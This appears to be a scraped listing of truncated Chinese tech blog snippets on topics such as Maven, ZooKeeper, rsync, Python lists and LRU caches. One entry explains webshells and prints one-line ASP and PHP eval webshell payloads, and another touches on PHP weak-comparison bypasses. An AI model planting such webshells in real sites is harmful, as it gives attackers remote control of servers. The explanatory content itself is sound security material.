NOT
4.运算符号
常见运算符 赋值运算符 增量运算符 逻辑运算符 常见运算符 +、-、*、、/、% /:除以结果为正数 %:获得余数 赋值运算符 =,+=,-=,/=,%=,<<=,>>=,&=,^=,!= f+=1 //为f加1,f为加1后的值 增量运算符 ++,-- ++i:先i的值加一 i--:先显示i的值,后 ......
php弱类型比较与强类型比较
一般容易把 == 与 !== 混淆,认为 !== 是 == 的取反 实际上 == 与 != 同属弱类型比较 与 !== 同属强类型比较 弱类型比较 $a==$b、$a!=$b 弱类型比较在比较之前会进行类型转换,再进行值的比较 特点(常用的绕过方式) 含数字的字符串 以数字开头的字符串,可以被字母、 ......
maven导出资源问题
Maven约定大于配置 可能导致配置文件无法导出或生效的问题解决方法<build><resources> <resource> <directory>src/main/resources</directory> <includes> <include>**/*.properties</include ......
Webshell
含义 php、asp、jsp脚本木马文件,通常位于网站根目录,用来远控站点。 asp:<%eval request("password")%> aspx: php:<?php eval($_POST[password])?> jsp:特定jsp客户端 类型 一句话木马 包含一个函数的php、asp、 ......
linux使用php-ast方法
php-ast php-cs-fixer PHP-CS-Fixer 是一个开源工具,它可以强制执行和检测违反 PHP 编码风格的行为。 使用预定义的规则,它可以使您拥有严格的编码风格,该风格由工具强制执行,因此您可以将时间花在更重要的事情上。 安装过程 在github上其实给出了很多种安装方式,我直 ......
suite用例管理
1.安装create testng xml插件 2.全选用例class文件,右键选择create testng xml,自动生成testng.xml文件 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE suite SYSTEM "http://tes ......
CS224n winter21 Word Vectors
Introduction and Word Vectors Human language and word meaning prompt or what?change statements into questions? word2vec summary by others ......
原型和原型链
原型:对象共享属性和共享方法 函数拥有:prototype 对象拥有:__proto__ function Fun () { //构造函数或者普通函数 有prototype 指向构造函数的原型 this.run='2' } var obj = new Fun() //创建了一个对象 有__proto ......
html 中使用 ssi 指令
SSI 即 Server Side Include,是一种基于服务端的网页制作技术 Apache 开启 SSI 支持 首先开启模块 mod_include LoadModule include_module modules/mod_include.so httpd.conf 或 主配置中引入的文件中 ......
在Linux搭建Zookeeper集群
前言 本文讲述在多台 Linux 服务器搭建 ZooKeeper 集群的具体步骤,共 4 个节点(1 主 2 从 1 观察者)。 ZooKeeper使用的端口:【2181】对 client 提供服务;【3888】选举 leader;【2888】集群内通讯。 准备工作 ZooKeeper需要1.7及以 ......
rsync增量备份
一、rsync远程同步1、什么是rsync远程同步rsync是C/S架构的数据镜像备份工具,可以实现全量备份和快速增量备份支持本地复制或ssh、rsync主机同步。 rsync默认端口为 873 rsync特性:可以在不通主机之间镜像同步整个目录树,支持增量备份、保持链接和权限、时间、属性且传输前自 ......
GPIO原理与寄存器
GPIO的工作方式 输入 浮空输入模式 输出缓冲器被禁止,施密特触发输入被激活,不接上拉和下拉电阻,出现在I/O脚上的数据在每个APB2时钟被采样到输入数据寄存器。 上拉输入模式 输出缓冲器被禁止,施密特触发输入被激活,上拉电阻接通,不接下拉电阻,当I/O引脚无输入信号时,读取到的数据为1,即高电平 ......
1130 -Host 'ip' is not allowed to connect to this MySQL server
由于mysql默认不允许其他IP地址(非虚拟机)访问 可以将访问的用户(如root)的host 由localhost(本机)改成%(任意,也可指定ip) 最后flush privileges刷新权限 [root@hadoop4 ~]# mysql -uroot -p mysql> use mysql ......
股票分时量比抓准主力突破点
一.什么是分时量比? 量比=(现成交总手数/现累计开市时间(分))/过去5日平均每分钟成交量; 分时量比=当前20秒内成交手数/开盘到现在平均每20秒内成交手数; 分时量比以当天的实时成交量数据统计计算,例如从早上开盘开始,每隔20秒统计一次20秒内的交易量,统计次数为n次,将交易总量m除以统计次数 ......
数据库连接池
#上下文管理和SQLHelper import pymysql from DBUtils.PooledDB import PooledDB class SqlHelper(object): def __init__(self): self.pool = PooledDB( creator=pymys ......
Ubuntu切换glibc版本
Ubuntu切换glibc版本 glibc是GNU发布的C语言标准库,不同版本的glibc中函数实现不同,可能导致程序运行结果不同。这里介绍如何切换不同版本的glibc来运行程序 首先,要安装patchelf,这是给elf文件打补丁(修改elf文件属性,包括使用的glibc版本)的工具 git cl ......
MarkDown语法学习
Markdown学习 二级标题//##加空格 三级标题//###加空格 字体//同为二级标题 Hello,World!//两边双**加粗 Hello,World! //两边单*字体倾斜 Hello,World!//两边三星字体倾斜加粗 Hello,World!//两边双波浪线加横线 引用//>加一个 ......
python中列表的删除操作,五种方式
列表删除操作 1、列表删除操作 1.1 remove() 1.2 pop() 1.3 切片 1.4 clear与del 1、列表删除操作 五种方式分别为: remove():一次删除一个元素;如果列表内有重复元素则删除第一个;元素不存在时抛出异常ValueError pop():删除一个指定的索引位 ......
反射
#反射 反射反射程序员的快乐,反射是无处不在的,封装框架,系统开发,MVC,IOC,ORM都离不开反射。 一、反射/反编译工具/高级语言到计算机语言的历程 高级语言 编译 dll/exe文件 metadata:元数据清单 记录了dll中包含哪些东西,是一个描述。 IL:中间语言 编译把高级语言编译后 ......
LRU缓存替换策略及C#实现
LRU缓存替换策略 缓存是一种非常常见的设计,通过将数据缓存到访问速度更快的存储设备中,来提高数据的访问速度,如内存、CPU缓存、硬盘缓存等。 但与缓存的高速相对的是,缓存的成本较高,因此容量往往是有限的,当缓存满了之后,就需要一种策略来决定将哪些数据移除出缓存,以腾出空间来存储新的数据。 这样的策 ......
内存泄漏的情况
Java有垃圾收集器实现内存自动管理,虽然GC有效的处理了大部分内存,但并不能完全保证内存的不泄漏。 可能导致内存泄漏的情况: ①静态集合类,如HashMap、LinkedList等 ②未关闭的资源,如数据库连接、IO连接等 ③变量不合理的作用域 ④内部类持有外部类 ⑤改变哈希值 ⑥过期引用 ⑦缓存 ......
python列表的添加的四种方式
列表删除的五种方式 python列表的增删改1、list增加元素1.1 append()1.2 extend()1.3 insert()1.4 切片 1、list增加元素 python中列表增加元素有四种方式: append():在列表末尾添加一个元素 extend():在列表末尾添加至少一个元素 ......
案例(一) Z-Indexing Geometry
使用官方github包,部分解释来源于Viewer - Cesium Documentation Cesium.Ion.defaultAccessToken = "token"; const viewer = new Cesium.Viewer("cesiumContainer"); viewer. ......
C++中的左值和右值
左值与右值 左值和右值有如下3个规则: 左值和右值都是表达式。 左值是对象定位器,理论上左值指示指示一个对象。 右值是一个临时值,其他位置无法访问这个值,通常情况下在语句执行完成后右值就被丢弃。 http://c.biancheng.net/view/281.html 左值:可以进行取地址的称为左值 ......
如何在Solidity中建立DAO(去中心化自治组织)?
本文将帮助您理解 DAO 的概念,并帮助您构建一个基本的 DAO。 什么是 DAO? 您可以将 DAO 视为基于互联网的实体(比如企业),由其股东(拥有代币和比例投票权的成员)共同拥有和管理。在 DAO 中,决策是通过提案做出的,DAO 的成员可以对这些提案进行投票,然后执行它们。 DAO 完全由可 ......
感谢儿时的伙伴,他让我变得更加坚韧和自信
在我还是一个小学生的时候,我曾经有一个非常要好的朋友,他的名字叫做李明。我们经常一起玩耍、学习,有着非常深厚的友谊。 然而,有一天,李明的家庭发生了一件非常不幸的事情。他的父母因为工作原因不得不搬到了另一个城市,而他不得不跟随父母搬家。在那之后,我们就再也没有见过面了。 我一直很想念李明,也一直希望 ......
Disjoint-Set-Union Sum (诈骗题)(区间DP, 位置顺序!!!!)
题目大意: 给出一个序列P , n 个点 每次可以选择2个 相邻区间进行合并, 会产生一个贡献值,当然合并n-1就合并完了, 问在所有的情况下, 贡献和是多少 思路: 易错点: 这个所有情况, 你枚举的合并的那个先后顺序是有关系的!!! 因此直接去区间dp只能把各个合并的情况给弄出来,但是他的先后顺 ......